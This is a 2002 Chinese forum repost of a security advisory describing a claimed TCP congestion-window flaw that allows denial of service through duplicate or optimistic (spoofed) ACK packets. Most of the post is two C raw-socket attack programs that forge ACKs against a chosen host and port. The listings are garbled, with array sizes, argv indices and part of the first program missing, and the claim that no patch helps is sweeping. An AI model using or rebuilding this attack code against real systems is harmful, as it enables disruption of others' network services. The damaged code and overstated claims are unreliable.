枫林在线论坛精华区>>信息安全 |
[6957] 主题: [漏洞]TCP协议堵塞窗口算法缺陷 |
作者: little (渺小) | ||
标题: [漏洞]TCP协议堵塞窗口算法缺陷 | ||
来自: 203.95.*.* | ||
发贴时间: 2002年07月02日 17:57:51 | ||
长度: 7576字 | ||
http://www.xiaomai.org/read.php?id=20
涉及程序: TCP协议 描述: TCP协议设计存在严重缺陷允许对任何TCP服务进行拒绝服务攻击 详细: TCP 协议层次关于 堵塞窗口 的算法 存在容易受攻击的漏洞 这种攻击是基于协议层次的,因此任何实现tcp 的系统都会受到影响。 危害性: 通过制造堵塞,能够使受攻击的主机不能与任何指定的主机进行正常的tc p 层次的数据 传输。这类攻击的后果将是使所有的TCP服务(包括web、mail、FTP等)都会 产生拒绝服务 。 攻击的方法有两到三种,没有任何补丁可以用来防止这种攻击,除非在防 火墙设置防范 或者更改TCP协议头部的结构. 理论基础: 什么是ACK_SEQ ACK_SEQ 标志数据包被正确的接受了。 ACK_SEQ 是接受数据包的SEQ 和 接受的数据包的净荷长度. 由于push 标志位的存在可以任意指定seq 大小. --- 攻击原理 --- 1,重复发送 数据包,任何ip 数据包都有可能被重复的发送到同一个接受 端。 通过构造重复的tcp 数据包,每个数据包拥有不同的ACK ,能够造成数据窗 口堵塞. 2) 预先判断发送方的数据长度,在数据没有真正到达接受方之前开始发送 返回ACK 数据 包。从而造成堵塞。 解决方案: 在防火墙端进行设置,对非紧急数据类型的数据比如TELNET 以外的普通T CP 连接,检查 是否存在push 标志。进行过滤。 攻击方法: 1,重复发送 数据包,任何ip 数据包都有可能被重复的发送到同一个接受 端 通过构造重复的tcp 数据包,每个数据包拥有不同的ACK ,能够造成数据窗 口堵塞. 攻击代码 ############################ #include <stdio.h> #include <unistd.h> #include <stdlib.h> #include <string.h> #include <errno.h> #include <err.h> #include <sys/socket.h> #include <sys/ioctl.h> #include <arpa/inet.h> #include <net/if.h> #include <net/if_arp.h> #include <netinet/in.h> #include <netinet/ip.h> #include <netinet/tcp.h> #include <linux/if_ether.h> #include <linux/if_packet.h> extern int errno; static struct sockaddr_in sin; static int ss; void send_dupack(void *, unsigned char); #define MAS 128 /* Max Ack Size */ /* #define BOLD "\033, argv ); err(EINVAL, "no such argument"); } memset(&ifr, 0, sizeof(struct ifreq)); nt =atoi(argv); nd =atoi(argv); daddr =inet_addr(argv); port =htons(atoi(argv)); sin.sin_port =port; sin.sin_addr.s_addr =daddr; sin.sin_family =AF_INET; if((sfd =socket(PF_PACKET, SOCK_RAW, htons(ETH_P_ALL))) ==-1) err(errno, "socket on datalink layer"); if((ss =socket(AF_INET, SOCK_RAW, IPPROTO_TCP)) ==-1) err(errno, "socket on raw sock layer"); if(setsockopt(ss, IPPROTO_IP, IP_HDRINCL, &hdr, sizeof(hdr)) ==-1) err(errno, "setsockopt IP_HDRINCL"); strncpy(ifr.ifr_name, argv, sizeof(ifr.ifr_name)); if(ioctl(sfd, SIOCGIFHWADDR, &ifr) == -1) err(errno, "ioctl SIOCGIFHWADDR of %s", argv); switch(ifr.ifr_hwaddr.sa_family) { case ARPHRD_ETHER: case ARPHRD_METRICOM: case ARPHRD_EETHER: off =14; break; case ARPHRD_PPP: off =0; break; case ARPHRD_LOOPBACK: off =4; break; default: err(ENODEV, "unknow linktype for device %s", argv); } while(nt) { char packet; static unsigned int ack_seq; struct iphdr *ip; struct tcphdr *tcp; int nbyte; if((nbyte =read(sfd, &packet, MAS)) ==-1) err(errno, "read on datalink layer"); (char *)ip =(char *)&packet +off; if(ip->protocol != IPPROTO_TCP || ip->daddr !=daddr) continue; (char *)tcp =(char *)ip +sizeof(struct iphdr); if(tcp->dest !=port) continue; // if(tcp->ack && !tcp->syn && !tcp->rs t && tcp->ack_seq !=ack_seq) if(1) { int cnt; printf(" dup seq %u ack %u\n", tcp->seq, tcp->ac k_seq); for(cnt =0; cnt !=nd; cnt++) { printf(" cnt %d nd %d nt %d\n", cnt, nd, nt); send_dupack((void *)ip, ntohs(ip->tot_len)); } nt--; ack_seq =tcp->ack_seq; } } exit(EXIT_SUCCESS); } void send_dupack(void *pkt, unsigned char len) { if(sendto(ss, pkt, len, 0x0000, &sin, sizeof(sin)) ==-1) err(errno, "error on sending ack packet"); } ############################# 2) 预先判断发送方的数据长度,在数据没有真正到达接受方之前开始发送 返回ACK 数据 包。从而造成堵塞. 攻击代码 ########## #include <stdio.h> #include <unistd.h> #include <stdlib.h> #include <string.h> #include <errno.h> #include <err.h> #include <sys/socket.h> #include <sys/ioctl.h> #include <arpa/inet.h> #include <net/if.h> #include <net/if_arp.h> #include <netinet/in.h> #include <netinet/ip.h> #include <netinet/tcp.h> #include <linux/if_ether.h> #include <linux/if_packet.h> extern int errno; static struct sockaddr_in sin; static unsigned int l_ack; static int ss, ns; unsigned short sum(unsigned short *, int); void ssoa(void *, struct tcphdr *, size_t, int); #define MAS 128 /* Max Ack Size */ int main(int argc, char **argv) { struct ifreq ifr; /* interface query struct */ int sfd, off, wa, hdr =1; /* socket, number time to apply dup, * number of dup, datalink offset */ unsigned int daddr; /* dest addr to check */ unsigned short port; /* dest port to check */ printf(" optimistic acking attacker - by vecna@s0ftpj.org\n \n"); if(argc != 6) { fprintf(stderr, " usage: %s host port iface n.spoof n.wait\n" \ " host:\thost to attack, only IP" \ " address accepted, not implemented resolv\n" \ " port:\tdestination port to attack\n" \ " iface:\tinterface used for reach host\n" \ " n.add:\tnumber of ack to spoof\n" \ " w.ack:\tnumber of ack to ignore before" \ " guess size\n", argv); err(EINVAL, "no such argument"); } memset(&ifr, 0, sizeof(struct ifreq)); daddr =inet_addr(argv); port =htons(atoi(argv)); ns =atoi(argv); wa =atoi(argv); sin.sin_port =port; sin.sin_addr.s_addr =daddr; sin.sin_family =AF_INET; if((sfd =socket(PF_PACKET, SOCK_RAW, htons(ETH_P_ALL))) ==-1) err(errno, "socket on datalink layer"); if((ss =socket(AF_INET, SOCK_RAW, IPPROTO_TCP)) ==-1) err(errno, "socket on raw sock layer"); if(setsockopt(ss, IPPROTO_IP, IP_HDRINCL, &hdr, sizeof(hdr)) ==-1) err(errno, "setsockopt IP_HDRINCL"); strncpy(ifr.ifr_name, argv, sizeof(ifr.ifr_name)); if(ioctl(sfd, SIOCGIFHWADDR, &ifr) == -1) err(errno, "ioctl SIOCGIFHWADDR of %s", argv); switch(ifr.ifr_hwaddr.sa_family) { case ARPHRD_ETHER: case ARPHRD_METRICOM: case ARPHRD_EETHER: off =14; break; case ARPHRD_PPP: off =0; break; case ARPHRD_LOOPBACK: off =4; break; default: err(ENODEV, "unknow linktype for device %s", argv); } printf(" reading packet len...\n"); while(1) { char packet; struct iphdr *ip; struct tcphdr *tcp; static int inc, i; int nbyte; if((nbyte =read(sfd, &packet, MAS)) ==-1) err(errno, "read on datalink layer"); (char *)ip =(char *)&packet +off; if(ip->protocol !=IPPROTO_TCP || ip->daddr !=daddr) continue; (char *)tcp =(char *)ip +sizeof(struct iphdr); if(tcp->dest !=port) continue; if(tcp->ack && !tcp->syn && !tcp->rst) { int chk =ntohl(tcp->ack_seq) -ntohl(l_ack); if(!l_ack) { l_ack =tcp->ack_seq; continue; } if(!chk) continue; printf(" %u", chk); if(chk ==inc) { if(++i ==wa) ssoa(ip, tcp, ntohs(ip->tot_len), inc); } else { printf("\n %d packet's size check after %d " "reset for %d byte\n" ,inc, i +1, chk); inc =chk; i =0x0000; } l_ack =tcp->ack_seq; } } } void ssoa(void *pkt, struct tcphdr *x, size_t len, int size) { int k =0x0000; printf("\n guessed packets len \n sending ACKs: ", siz e); while(k != ns) { x->ack_seq +=htonl(size* ++k); x->check =sum((unsigned short *)x, sizeof(struct tcphdr)); printf("."); if(sendto(ss, pkt, len, 0x0000, &sin, sizeof(sin)) ==-1) err(errno, "error on sending ack packet"); } printf(" done.\n"); exit(EXIT_SUCCESS); } unsigned short sum(unsigned short *hdr, int nw) { unsigned long ret =0x0000; while(nw > 0) { ret += *hdr++; nw -= 2; } ret = (ret >> 16) + (ret & 0xffff); ret += (ret >> 16); return ~(ret); } |
||
========== * * * * * ==========
|
返回 |